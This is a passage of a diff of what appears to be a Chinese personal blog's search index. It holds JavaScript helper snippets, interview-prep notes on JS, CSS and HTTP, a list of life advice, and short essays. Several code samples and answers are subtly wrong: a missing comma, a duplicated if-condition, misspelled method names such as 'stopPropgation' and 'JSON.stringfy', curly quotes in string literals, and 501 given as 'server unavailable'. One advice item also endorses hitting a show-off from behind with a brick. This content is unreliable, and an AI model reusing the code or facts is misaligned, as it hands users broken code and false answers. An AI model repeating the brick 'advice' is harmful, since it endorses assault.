title="arr.join(separator)"></a>arr.join(separator)</h4><p>将数组转换成字符串，并用separator 分开，可以省略</p><h4 id="reverse"><a href="#reverse" class="headerlink" title="reverse()"></a>reverse()</h4><p>反转字符串或数组</p><h3 id="函数"><a href="#函数" class="headerlink" title="函数"></a>函数</h3><h4 id="判断客户端手机型号"><a href="#判断客户端手机型号" class="headerlink" title="判断客户端手机型号"></a>判断客户端手机型号</h4><pre><code>var BrowserInfo = {    userAgent: navigator.userAgent.toLowerCase()    isAndroid: Boolean(navigator.userAgent.match(/android/ig)),    isIphone: Boolean(navigator.userAgent.match(/iphone|ipod/ig)),    isIpad: Boolean(navigator.userAgent.match(/ipad/ig)),    isWeixin: Boolean(navigator.userAgent.match(/MicroMessenger/ig)),}</code></pre><h4 id="获取-url-的参数"><a href="#获取-url-的参数" class="headerlink" title="获取 url 的参数"></a>获取 url 的参数</h4><pre><code>function getExp(name, url) {    var reg = new RegExp(&quot;(^|\\?|&amp;)&quot; + name + &quot;=([^&amp;]*)(\\s|&amp;|$)&quot;, &quot;i&quot;)    if (reg.test(url)) return decodeURIComponent(RegExp.$2.replace(/\+/g, &quot; &quot;)) return &quot;&quot;}</code></pre><h4 id="全屏显示"><a href="#全屏显示" class="headerlink" title="全屏显示"></a>全屏显示</h4><pre><code>function launchFullScreen(element) {    if (element.requestFullScreen) {        element.requestFullScreen();    } else if (element.mozRequestFullScreen) {        element.mozRequestFullScreen();    } else if (element.webkitRequestFullScreen) {        element.webkitRequestFullScreen();    }}</code></pre><h4 id="全选-全不选"><a href="#全选-全不选" class="headerlink" title="全选/全不选"></a>全选/全不选</h4><pre><code>function selectAll(objSelect) {    if(objSelect.checked == true) {        $(&quot;input[name=&#39;chkId&#39;]&quot;).attr(&quot;checked&quot;, true)        $(&quot;input[name=&#39;chkAll&#39;]&quot;).attr(&quot;checked&quot;, true)    } else if (objSelect.checked == true) {        $(&quot;input[name=&#39;chkId&#39;]&quot;).attr(&quot;checked&quot;, false)        $(&quot;input[name=&#39;chkAll&#39;]&quot;).attr(&quot;checked&quot;, false)    }}</code></pre><h4 id="判断浏览器"><a href="#判断浏览器" class="headerlink" title="判断浏览器"></a>判断浏览器</h4><pre><code>&lt;!--判断是否是 IE 浏览器--&gt;    if (document.all){        alert(”IE浏览器”);    }else{        alert(”非IE浏览器”);    }    if (!!window.ActiveXObject){        alert(”IE浏览器”);    }else{        alert(”非IE浏览器”);    }&lt;!--判断是IE几--&gt;var isIE=!!window.ActiveXObject;var isIE6=isIE&amp;&amp;!window.XMLHttpRequest;var isIE8=isIE&amp;&amp;!!document.documentMode;var isIE7=isIE&amp;&amp;!isIE6&amp;&amp;!isIE8;if (isIE){    if (isIE6){        alert(”ie6″);    }else if (isIE8){        alert(”ie8″);    }else if (isIE7){        alert(”ie7″);    }}</code></pre><h4 id="js-写-cookie"><a href="#js-写-cookie" class="headerlink" title="js 写 cookie"></a>js 写 cookie</h4><pre><code>function setCookie(name, value, expires, path, domain) {    if (!expires) expires = -1    if (!path) path = &quot;/&quot;    var d = &quot;&quot; + name + &quot;=&quot; + value    var e    if (expires &lt; 0) {        e = &quot;&quot;    }    else if (expires == 0) {        var f = new Date(1970, 1, 1)        e = &quot;;expires=&quot; + f.toUTCString()    }    else {        var now = new Date()        var f = new Date(now.getTime() + expires * 1000)        e = &quot;;expires=&quot; + f.toUTCString()    }    var dm;    if (!domain) {        dm = &quot;&quot;    }    else {        dm = &quot;;domain=&quot; + domain    }    document.cookie = name + &quot;=&quot; + value + &quot;;path=&quot; + path + e + dm};</code></pre><h4 id="js-读-cookie"><a href="#js-读-cookie" class="headerlink" title="js 读 cookie"></a>js 读 cookie</h4><pre><code>function readCookie(name) {    var nameEQ = name + &quot;=&quot;    var ca = document.cookie.split(&#39;;&#39;)    for (var i = 0; i &lt; ca.length; i++) {        var c = ca[i]        while (c.charAt(0) == &#39; &#39;) c = c.substring(1, c.length)        if (c.indexOf(nameEQ) == 0) {            return decodeURIComponent(c.substring(nameEQ.length, c.length))        }    } return null}</code></pre>]]></content>
       
       <categories>
@@ -550,8 +550,8 @@
     
     <entry>
       <title>董思阳的忠告</title>
-      <link href="/%E8%91%A3%E6%80%9D%E9%98%B3%E7%9A%84%E5%BF%A0%E5%91%8A.html"/>
-      <url>/%E8%91%A3%E6%80%9D%E9%98%B3%E7%9A%84%E5%BF%A0%E5%91%8A.html</url>
+      <link href="/2017/10/19/%E8%91%A3%E6%80%9D%E9%98%B3%E7%9A%84%E5%BF%A0%E5%91%8A.html"/>
+      <url>/2017/10/19/%E8%91%A3%E6%80%9D%E9%98%B3%E7%9A%84%E5%BF%A0%E5%91%8A.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="关于成功"><a href="#关于成功" class="headerlink" title="关于成功"></a>关于成功</h3><ul><li><p>1、记住，平均每天看电视超过三小时以上的，一定都是那些月收入不超过两千元的，如果你想要月收入超过两千，请不要把时间浪费在电视上，同样的道理，那些平均每天玩网络游戏或聊天超过三个小时以上的，也都是那些月收入不超过两千的。</p></li><li><p>2、这个世界，有这么一小撮的人，打开报纸，是他们的消息，打开电视，是他们的消息，街头巷尾，议论的事他们的消息，仿佛世界是为他们准备的，他们能够呼风唤雨，无所不能。你的目标，应该是努力成为这一小撮人。</p></li><li><p>3、如果，你真的爱你的爸妈，爱你的女朋友，就好好得去奋斗，去拼搏吧，这样，你才有能力，有经济条件，有自由时间，去陪她们，去好好爱他们。</p></li><li><p>4、这个社会，是赢家通吃，输者一无所有，社会，永远都是只以成败论英雄。过程只是人生的一部分，再辛苦，没有成功只能说明你的能力还不够。</p></li><li><p>5、这个世界上，一流的人才，可以把三流项目做成二流或更好，但是，三流人才，会把一流项目，做的还不如三流。</p></li><li><p>6、趁着年轻，多出去走走看看，读万卷书，不如行万里路，行万里路，不如阅人无数。</p></li><li><p>7、与人交往的时候，多听少说，这就是，上帝为什么给我们一个嘴巴两个耳朵的原因。</p></li><li><p>8、不要装13，对于装13的人，最好的办法就是，见块砖头，悄悄跟上去，一下子从背后放到他。</p></li><li><p>9、一个年轻人，如果三年的时间里，没有任何想法，他这一生，就基本这个样子，没有多大改变了。</p></li><li><p>10、成功者就是胆识加魄力。</p></li><li><p>11、给自己定一个五年的目标，然后，把它分解成一年一年，半年半年的，三个月的，一个月的，这样，你才能找到自己的目标和方向。</p></li><li><p>12、如果我只能送你一句忠告，那就是，这个世界上没有免费的午餐，永远不要走捷径。</p></li></ul><h3 id="忠告"><a href="#忠告" class="headerlink" title="忠告"></a>忠告</h3><ul><li><p>1、给自己定目标，一年、两年、五年，也许你出生不如别人好，通过努力，往往可以改变70%的命运，破罐子破摔只能和懦弱做朋友。</p></li><li><p>2、朋友请你吃饭，不要觉得理所当然，请礼尚往来，否则你的名声会越来越差。</p></li><li><p>3、好朋友里面，一定要培养出一个知己，不要以为你有多么八面玲珑，到处是朋友，最后真心对你的，只要一个，相信我。</p></li><li><p>4、不喜欢的人少接触，但别在背后说坏话，说是非之人，必定是是非之人，谨记，祸从口出。</p></li><li><p>5、是人都有惰性，这是与生俱来的，但是我们后天可以改变这种惰性，因为有很多人正在改变，对于某种事物或是生意不要等别人做到了，我才想到，不要等别人已经赚到钱了，我才想去做，没有人相信的是市场和机遇，大家都相信的叫做膨胀。</p></li><li><p>6、知道自己要干什么，夜深人静，问问自己，将来的打算，并朝着那个方向去实现，而不是无所事事和做一些无谓的事。</p></li><li><p>7、出路出路，走出去了，总是会有路的，困难苦难，困在家里就是难，社会普遍认为。</p></li><li><p>8、做人，要做到；万事孝为先，教童品之道，夫妻和谐美，幸福万年长。但是这些不是拿来用嘴说说就能办到的，解放初期年代要做到这些，需要付出很大的努力和辛苦，当今现实的社会需要你付出很大的金钱，聪明的人都知道这个道理。</p></li><li><p>9、空闲时间不要经常上网做无聊的事和玩一些没有意义的游戏，读点文学作品，学习一些经营流程，管理规范，国际时事，法律常识。这能保证你在任何聚会都有谈资。</p></li><li><p>10、宁可错杀一千次来自各方面的信息，也不放过任何一个有可能成功的机会。只有这样你才不会去买后悔药。</p></li><li><p>11、要做一件事，成功之前，没有必要告诉其他人。成功之后不用你说，其他人都会知道的。这就是信息时代所带来的效应。</p></li><li><p>12、力求上进的人，不要总想着靠谁谁，人都是自私的，自己才是最靠得住的人。</p></li></ul><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><blockquote><p>二十岁没钱，那很正常；三十岁没钱，可能是没有好的家境，需要更大的努力；四十岁没钱，只能自己找原因。穷人变成富人是可能的，而且很可能。穷人能穷一辈子，也是必然的，存在就是理由，只是有所选择。</p></blockquote>]]></content>
       
       <categories>
@@ -571,8 +571,8 @@
     
     <entry>
       <title>hybird</title>
-      <link href="/hybird.html"/>
-      <url>/hybird.html</url>
+      <link href="/2017/10/11/hybird.html"/>
+      <url>/2017/10/11/hybird.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="app分为几类？"><a href="#app分为几类？" class="headerlink" title="app分为几类？"></a>app分为几类？</h3><ul><li>native：语言object-c，java，页面存放在本地</li><li>hybird：语言object-c + html，受限于UIview</li><li>web：语言html，页面放在服务器，受限于UIview</li></ul><h3 id="native-APP"><a href="#native-APP" class="headerlink" title="native APP"></a>native APP</h3><h4 id="优点"><a href="#优点" class="headerlink" title="优点"></a>优点</h4><ul><li>运行效率高</li><li>可调用各种设备资源</li></ul><h4 id="缺点"><a href="#缺点" class="headerlink" title="缺点"></a>缺点</h4><ul><li>人力资源成本高</li><li>发布速度慢</li><li>更新版本的问题</li><li>实现图文混排很多坑</li></ul><h3 id="web-APP"><a href="#web-APP" class="headerlink" title="web APP"></a>web APP</h3><h4 id="优点-1"><a href="#优点-1" class="headerlink" title="优点"></a>优点</h4><ul><li>开发成本低</li><li>使用范围广</li><li>方便快捷部署，不需要安装</li><li>用户总能访问最新的，迭代更容易</li><li>可被搜索引擎搜索带来流量</li></ul><h4 id="缺点-1"><a href="#缺点-1" class="headerlink" title="缺点"></a>缺点</h4><ul><li>体验短期无法超越 native</li><li>不支持离线模式</li><li>消息推送不及时</li><li>调用本地文件系统能力较弱</li><li>较差和较慢的性能体验</li><li>支持图形和动画效果较差</li><li>不适用于应用商店盈利</li><li>限制用户功能（gps，相机等）</li></ul><h3 id="hybird-APP"><a href="#hybird-APP" class="headerlink" title="hybird APP"></a>hybird APP</h3><h4 id="优点-2"><a href="#优点-2" class="headerlink" title="优点"></a>优点</h4><ul><li>综合开发效率</li><li>发版本更方便</li></ul><h4 id="缺点-2"><a href="#缺点-2" class="headerlink" title="缺点"></a>缺点</h4><ul><li>运行效率中等</li><li>需要一点原生代码</li></ul>]]></content>
       
       <categories>
@@ -592,8 +592,8 @@
     
     <entry>
       <title>前端面试题</title>
-      <link href="/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E9%A2%98.html"/>
-      <url>/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E9%A2%98.html</url>
+      <link href="/2017/09/18/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E9%A2%98.html"/>
+      <url>/2017/09/18/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E9%A2%98.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><ul><li>前端的难度，每18-24个月一轮回</li><li>关注技术动态，跟上节奏</li></ul><h4 id="注意"><a href="#注意" class="headerlink" title="注意"></a>注意</h4><ul><li>题目类型：理论知识，算法，项目细节，技术视野，开放性题，工作案例</li><li>细节追问：可以确保问到你开始不懂和面试官开始不懂为止</li><li>回答问题再棒，更要会做人</li><li>要靠谱</li></ul><h3 id="知识点"><a href="#知识点" class="headerlink" title="知识点"></a>知识点</h3><ul><li><p>html &amp; css：对web标准的理解，浏览器内核差异，兼容性，hack，css基本功：布局，盒子模型，选择器优先级，flexbox</p></li><li><p>javascript: 数据类型，运算，对象，function，继承，闭包，作用域，原型链，事件，正则（regExp），json，ajax，dom，bom，内存泄漏，跨域，异步封装，模板引擎，前端mvc，路由，模块化，canvas，es6，nodeJS</p></li><li><p>其他：移动端，相应式，自动化构建，http，离线储存，web安全，优化，重构，团队协作，可维护，易用性，SEO，UED，架构，职业生涯，快速学习能力</p></li></ul><h3 id="html-amp-amp-css"><a href="#html-amp-amp-css" class="headerlink" title="html &amp;&amp; css"></a>html &amp;&amp; css</h3><h4 id="html5-为啥只需写-lt-DOCTYPE-HTML-gt"><a href="#html5-为啥只需写-lt-DOCTYPE-HTML-gt" class="headerlink" title="html5 为啥只需写 &lt;!DOCTYPE HTML&gt;"></a>html5 为啥只需写 &lt;!DOCTYPE HTML&gt;</h4><ul><li>不基于 SGML（通用标记语言）</li></ul><h3 id="iframe-缺点？"><a href="#iframe-缺点？" class="headerlink" title="iframe 缺点？"></a>iframe 缺点？</h3><ul><li>阻塞搜索引擎，不利于SEO</li><li>和主页面共享连接池，影响连接速度</li><li>如果要用，建议用 js 动态添加 src 可以绕开以上问题</li></ul><h3 id="javascript"><a href="#javascript" class="headerlink" title="javascript"></a>javascript</h3><h4 id="如何实现-js-与-json-互换"><a href="#如何实现-js-与-json-互换" class="headerlink" title="如何实现 js 与 json 互换"></a>如何实现 js 与 json 互换</h4><ul><li>json 化<blockquote><p>var json = JSON.stringfy({a: ‘hello’, b: ‘world’})</p></blockquote></li><li>字符串化<blockquote><p>var obj = JSON.parse(‘{“a”: “hello”}’)</p></blockquote></li></ul><h3 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h3>]]></content>
       
       <categories>
@@ -613,8 +613,8 @@
     
     <entry>
       <title>simpleCountry</title>
-      <link href="/simpleCountry.html"/>
-      <url>/simpleCountry.html</url>
+      <link href="/2017/09/14/simpleCountry.html"/>
+      <url>/2017/09/14/simpleCountry.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><ul><li>昨天晚上想到这个名字，觉得很酷炫，如果可以我想现在就用这个成立一个品牌。打造一个只有简单元素的社区，因为我本人就是一个极简主义者，不喜欢复杂花俏。从生活作为一个切入点。不管是衣食住行，都做到简单，完美。</li></ul><h3 id="构思"><a href="#构思" class="headerlink" title="构思"></a>构思</h3><ul><li>构建一款 app 产品，它没有花俏的外观，没有多余的赘述，只有简单的产品图片，购买按钮，收藏，做垂直细分,可以是服装，家居，交通工具。</li><li>贯彻的理念是从生活出发，然后将自己的极简思想投入其中，艺术与生活相互结合。</li><li>例如：一款座椅用一条腿代替4条腿，或者是两条腿代替4条腿，一体式座椅，服装，色调不花俏，单色或者是拼色，会给人简单美好</li></ul><p>待续~</p><h3 id="小记"><a href="#小记" class="headerlink" title="小记"></a>小记</h3><ul><li>我喜欢摇滚，喜欢积极向上的生活，但不喜欢摇滚中的聒噪，所以我憧憬清摇滚，就是用清淡的节奏和热血的旋律谱写出简单的美好，这是我今后的目标，也会作为我的理念。</li></ul>]]></content>
       
       <categories>
@@ -634,8 +634,8 @@
     
     <entry>
       <title>learn-koa</title>
-      <link href="/learn-koa.html"/>
-      <url>/learn-koa.html</url>
+      <link href="/2017/09/06/learn-koa.html"/>
+      <url>/2017/09/06/learn-koa.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>app.use()</p>]]></content>
       
       <categories>
@@ -655,8 +655,8 @@
     
     <entry>
       <title>如何成为一名合格的CEO</title>
-      <link href="/%E5%A6%82%E4%BD%95%E6%88%90%E4%B8%BA%E4%B8%80%E5%90%8D%E5%90%88%E6%A0%BC%E7%9A%84CEO.html"/>
-      <url>/%E5%A6%82%E4%BD%95%E6%88%90%E4%B8%BA%E4%B8%80%E5%90%8D%E5%90%88%E6%A0%BC%E7%9A%84CEO.html</url>
+      <link href="/2017/08/28/%E5%A6%82%E4%BD%95%E6%88%90%E4%B8%BA%E4%B8%80%E5%90%8D%E5%90%88%E6%A0%BC%E7%9A%84CEO.html"/>
+      <url>/2017/08/28/%E5%A6%82%E4%BD%95%E6%88%90%E4%B8%BA%E4%B8%80%E5%90%8D%E5%90%88%E6%A0%BC%E7%9A%84CEO.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="集中精力抓到要害问题"><a href="#集中精力抓到要害问题" class="headerlink" title="集中精力抓到要害问题"></a>集中精力抓到要害问题</h3><ul><li>好的ceo善于俯视整个公司，确定最优先要做的事前，然后重点突破，一两件事就能使公司发生巨大的变化。如果你能抓住公司面临问题的要害之处，人们才会洗耳恭听</li></ul><h3 id="销售能力"><a href="#销售能力" class="headerlink" title="销售能力"></a>销售能力</h3><ul><li>ceo 必须具备推销能力，把东西推销给客户和投资者，或者把革命思想推荐给公司</li></ul><h3 id="对财务的敏感"><a href="#对财务的敏感" class="headerlink" title="对财务的敏感"></a>对财务的敏感</h3><ul><li>读懂数据，把纸上的东西和实际的公司情况结合起来，不仅仅是预算问题，也需要思考盈利的驱动力问题。</li></ul><h3 id="有策略头脑"><a href="#有策略头脑" class="headerlink" title="有策略头脑"></a>有策略头脑</h3><ul><li>策略就是选择公司将参与角逐的竞技场，然后建立与这场竞争想关的优势。这样会考验你如何适应游戏规则并在游戏中获胜</li></ul><h3 id="管理变革的能力"><a href="#管理变革的能力" class="headerlink" title="管理变革的能力"></a>管理变革的能力</h3><ul><li>在整个公司的变革，犹如管理一个部门，但要困难的多，你的行动要有号召力。你必须为人们树立一个榜样，挑选真确的管理团队，确定可能妨碍或阻止你的层层挑战</li></ul><h3 id="领导能力"><a href="#领导能力" class="headerlink" title="领导能力"></a>领导能力</h3><ul><li>领导需要精力和激情。你必须先感召你自己，然后感召其他人。但激情也不是无根无据的滥用，一个坚定的长远目标很重要。</li></ul><h3 id="个性魅力"><a href="#个性魅力" class="headerlink" title="个性魅力"></a>个性魅力</h3><ul><li>伟大的ceo知道什么时候用逻辑推理，什么时候相信自己的直觉，他们知道什么时候应该采取什么措施，什么时候听之任之，他知道什么时候管什么时候不要管。</li></ul>]]></content>
       
       <categories>
@@ -676,8 +676,8 @@
     
     <entry>
       <title>前端面试准备</title>
-      <link href="/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E5%87%86%E5%A4%87.html"/>
-      <url>/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E5%87%86%E5%A4%87.html</url>
+      <link href="/2017/08/27/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E5%87%86%E5%A4%87.html"/>
+      <url>/2017/08/27/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E5%87%86%E5%A4%87.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>整理一些面试题，以备用</p><h2 id="技术分类"><a href="#技术分类" class="headerlink" title="技术分类"></a>技术分类</h2><h3 id="JS-行为层"><a href="#JS-行为层" class="headerlink" title="JS (行为层)"></a>JS (行为层)</h3><h4 id="typeof-返回哪些数据类型"><a href="#typeof-返回哪些数据类型" class="headerlink" title="typeof 返回哪些数据类型"></a>typeof 返回哪些数据类型</h4><ul><li>obj num fun bool undefined</li></ul><h4 id="3种强制类型转换两种隐式类型转换"><a href="#3种强制类型转换两种隐式类型转换" class="headerlink" title="3种强制类型转换两种隐式类型转换"></a>3种强制类型转换两种隐式类型转换</h4><ul><li>parseInt parseFloat number</li><li>== - ===</li></ul><h4 id="数组方法pop-push-unshift-shift"><a href="#数组方法pop-push-unshift-shift" class="headerlink" title="数组方法pop() push() unshift() shift()"></a>数组方法pop() push() unshift() shift()</h4><ul><li>push() 尾部添加 pop() 尾部删除</li><li>unshift() 头部添加 shift() 头部删除</li></ul><h4 id="ajax请求-get-和-post-的区别"><a href="#ajax请求-get-和-post-的区别" class="headerlink" title="ajax请求 get 和 post 的区别"></a>ajax请求 get 和 post 的区别</h4><ul><li>一个在 url 后面，一个放在虚拟载体里面</li><li>有大小限制</li><li>安全问题</li><li>应用不同 </li></ul><h4 id="call-和-apply-的区别"><a href="#call-和-apply-的区别" class="headerlink" title="call 和 apply 的区别"></a>call 和 apply 的区别</h4><ul><li>object.call(this, obj1,obj2,obj3)</li><li>object.apply(this, argument)</li></ul><h4 id="ajax-请求时，如何解析-json-数据"><a href="#ajax-请求时，如何解析-json-数据" class="headerlink" title="ajax 请求时，如何解析 json 数据"></a>ajax 请求时，如何解析 json 数据</h4><ul><li>使用eval parse，介于安全性考虑 使用parse 更靠谱</li><li>eval 可以解析任何字符串，parse只解析json格式的字符串</li></ul><h4 id="闭包是什么？"><a href="#闭包是什么？" class="headerlink" title="闭包是什么？"></a>闭包是什么？</h4><ul><li>闭包就是能够读取其他函数内部变量的函数</li></ul><h4 id="添加-删除-替换-插入到某个节点的方法"><a href="#添加-删除-替换-插入到某个节点的方法" class="headerlink" title="添加 删除 替换 插入到某个节点的方法"></a>添加 删除 替换 插入到某个节点的方法</h4><ul><li>obj.appendChild()</li><li>obj.innersetBefore()</li><li>obj.replaceChild()</li><li>obj.removeChild()</li></ul><h4 id="javascript-同源策略"><a href="#javascript-同源策略" class="headerlink" title="javascript 同源策略"></a>javascript 同源策略</h4><ul><li>一段脚本只能读取来自同一来源的穿考核文档的属性，同源：指主机名，协议和端口号的组合</li></ul><h4 id="编写一个-b-继承-a-的方法"><a href="#编写一个-b-继承-a-的方法" class="headerlink" title="编写一个 b 继承 a 的方法"></a>编写一个 b 继承 a 的方法</h4><pre><code>  function A(name) {      this.name = name;      this.sayHello = function(){alert(this.name+ &quot;say hello!&quot;)}  }  function B(name, id) {      this.temp = A      this.temp(name)      delete this.temp      this.id = id      this.checkId = function(ID) {alert(this.id == ID)}  }</code></pre><h4 id="如何阻止事件冒泡和默认事件"><a href="#如何阻止事件冒泡和默认事件" class="headerlink" title="如何阻止事件冒泡和默认事件"></a>如何阻止事件冒泡和默认事件</h4><pre><code>  function stopBubble(e) {      if (e &amp;&amp; e.stopPropagation) {          e.stopPropgation ()      } else {          window.event.cancelBubble = true      }      return false  }</code></pre><h4 id="谈谈this对象的理解"><a href="#谈谈this对象的理解" class="headerlink" title="谈谈this对象的理解"></a>谈谈this对象的理解</h4><ul><li>this 是 js 的一个关键字， 随着函数使用场合不同，this的值会发生变化</li><li>但是有一个原则，this 指向的就是调用函数的那个对象</li><li>this 一般情况下： 是指全局对象global， 如果作为方法调用，就指向这个对象</li></ul><h4 id="简单讲下-node-的使用场景"><a href="#简单讲下-node-的使用场景" class="headerlink" title="简单讲下 node 的使用场景"></a>简单讲下 node 的使用场景</h4><ul><li>高并发，聊天，实时消息推送</li></ul><h4 id="node-的优点和缺点提出自己的看法"><a href="#node-的优点和缺点提出自己的看法" class="headerlink" title="node 的优点和缺点提出自己的看法"></a>node 的优点和缺点提出自己的看法</h4><ul><li><p>优点： node是基于时间驱动和无阻塞的，所以非常适合处理并发请求，因此构建在node上的代理服务器相比其他技术实现的服务器表现要好的多，与node代理服务器交互的客户端代码也是用js写的，用的相同的语言，这感觉前后端非常亲切和美妙</p></li><li><p>缺点： node是一个相对比较新的开源项目，所以不太稳定，它总是在变，而且缺少足够多的第三方库的支持</p></li></ul><h4 id="常用的一款框架"><a href="#常用的一款框架" class="headerlink" title="常用的一款框架"></a>常用的一款框架</h4><ul><li>vuejs reactjs jQuery angular</li></ul><h3 id="CSS-表现层"><a href="#CSS-表现层" class="headerlink" title="CSS (表现层)"></a>CSS (表现层)</h3><h4 id="清除浮动"><a href="#清除浮动" class="headerlink" title="清除浮动"></a>清除浮动</h4><ul><li>使用clear</li><li>使用overflow</li><li>使用css的*：after</li></ul><h4 id="居中设置"><a href="#居中设置" class="headerlink" title="居中设置"></a>居中设置</h4><p>1· 水平居中</p><ul><li>flex布局<blockquote><p>设置justify-content：center；</p></blockquote></li></ul><p>2· 垂直居中</p><ul><li>多行文本（内联元素）<blockquote><p>a: 插入 table ，再设置vertical-align: middle;<br>b: 先设置display： table-cell；再设置vertical-align: middle;</p></blockquote></li></ul><h4 id="link-和-import的区别"><a href="#link-和-import的区别" class="headerlink" title="link 和 @import的区别"></a>link 和 @import的区别</h4><ul><li>link除了加载css，还能用于定义RSS，定义rel链接属性，import只能引入css</li><li>页面加载时，link同时加载，而@import引用的css会等到页面被加载完之后再加载</li><li>import 只在 ie5 以上被识别</li></ul><h4 id="css-盒子模型"><a href="#css-盒子模型" class="headerlink" title="css 盒子模型"></a>css 盒子模型</h4><ul><li>content，padding，margin，border</li></ul><h4 id="css-选择符号"><a href="#css-选择符号" class="headerlink" title="css 选择符号"></a>css 选择符号</h4><ul><li>id选择器</li><li>类选择器</li><li>标签选择器</li><li>相邻选择器 + </li><li>子选择器 &gt;</li><li>后代选择器</li><li>通配符选择器 *</li><li>属性选择器 （a[rel = ‘external’])</li><li>伪类选择器 hover nth-child</li><li>优先级 <blockquote><p>!important &gt; id &gt; class &gt; tag</p></blockquote></li></ul><h3 id="HTML-结构层"><a href="#HTML-结构层" class="headerlink" title="HTML (结构层)"></a>HTML (结构层)</h3><h4 id="什么是语义化的HTML"><a href="#什么是语义化的HTML" class="headerlink" title="什么是语义化的HTML"></a>什么是语义化的HTML</h4><ul><li>直观的认识标签，有益于 SEO</li><li>有利于开源之后阅读代码的人更容易阅读</li><li>便于后期维护和理解</li></ul><h3 id="自动化编程"><a href="#自动化编程" class="headerlink" title="自动化编程"></a>自动化编程</h3><h4 id="前端自动化工具？"><a href="#前端自动化工具？" class="headerlink" title="前端自动化工具？"></a>前端自动化工具？</h4><ul><li>gulp</li><li>webpack</li></ul><h3 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h3><h4 id="描述一下cookies，sessionStorage-和localStorage的区别？"><a href="#描述一下cookies，sessionStorage-和localStorage的区别？" class="headerlink" title="描述一下cookies，sessionStorage 和localStorage的区别？"></a>描述一下cookies，sessionStorage 和localStorage的区别？</h4><ul><li>cookie 在浏览器和服务器之间来回传递，SS和LS不会</li><li>SS和LS 的储存空间更大</li><li>SS和LS 有更多丰富易用的接口</li><li>SS和LS 是有各自的储存空间</li><li>LS 储存是永久性的，SS 关闭浏览器就没了</li></ul><h4 id="如何实现浏览器内多个标签之间的通信"><a href="#如何实现浏览器内多个标签之间的通信" class="headerlink" title="如何实现浏览器内多个标签之间的通信"></a>如何实现浏览器内多个标签之间的通信</h4><ul><li>调用LS Cookies 等本地储存方式</li></ul><h4 id="IE6-BUG-的解决办法"><a href="#IE6-BUG-的解决办法" class="headerlink" title="IE6 BUG 的解决办法"></a>IE6 BUG 的解决办法</h4><ul><li>双边距，float引起，使用display</li><li>3像素问题，float引起， 使用display：inline-3px</li><li>超链接 hover 点击失效， 注意顺序</li><li>无法定义1px左右的宽度容器（使用overflow：hidden；zoom：0.08；line-height：1px）</li></ul><h4 id="你有哪些性能优化的方法"><a href="#你有哪些性能优化的方法" class="headerlink" title="你有哪些性能优化的方法"></a>你有哪些性能优化的方法</h4><ul><li>减少http请求次数，css，js，html压缩，图片大小控制和压缩，网页cdn托管，data缓存，图片服务器</li><li>前端模板 js + 数据，减少由于html导致的带宽浪费，减少请求次数，</li><li>图片预加载，将样式表放在头部，脚本放在底部，加上时间戳</li><li>用innerHTML代替dom操作，减少dom操作次数，优化js性能</li><li>当需要设置的样式很多时，设置className而不是直接操作dom</li><li>避免在页面的主体布局中使用table，table要在其中的内容完全下载完之后才会完全显示，显示div+css布局慢。普通网站有一个普遍的思路，就是尽量向前端化，减少数据库操作，减少磁盘IO，</li><li>前端化：在不影响功能和体验的情况下，能在浏览器执行的不要在服务器执行，能在缓存服务器上直接返回的不要到应用服务器，程序能直接取到的结果不要到外部取，本机能取到的不要到远程取，内存能取到的不要到磁盘取，缓存中有的不要去数据库查询</li><li>减少数据库操作指：减少更新次数，缓存结果减少查询次数，将数据库执行的操作尽可能的让你的操作完成，减少磁盘IO指尽量不适用文件系统作为缓存，减少读写文件次数等。</li><li>程序优化永远要优化慢的部分</li></ul><h4 id="http-状态码有哪些？分别代表啥意思？"><a href="#http-状态码有哪些？分别代表啥意思？" class="headerlink" title="http 状态码有哪些？分别代表啥意思？"></a>http 状态码有哪些？分别代表啥意思？</h4><ul><li>100-199 用于指定客户端相应的某些动作</li><li>200-299 用于表示请求成功</li><li>300-399 用于已经移动的文件并且常被包含在定位头信息中指定新的地址信息</li><li>400-499 用于指出客户端的错误。<blockquote><p>400: 语义有误 401：当前请求需要用户验证 403: 服务器已经理解请求，但是拒绝执行他 404：页面找不到</p></blockquote></li><li>500-599 用于支持服务器错误。501 服务器不可用</li></ul><h4 id="一个页面从输入-url-到页面显示完成，中间发生了什么？"><a href="#一个页面从输入-url-到页面显示完成，中间发生了什么？" class="headerlink" title="一个页面从输入 url 到页面显示完成，中间发生了什么？"></a>一个页面从输入 url 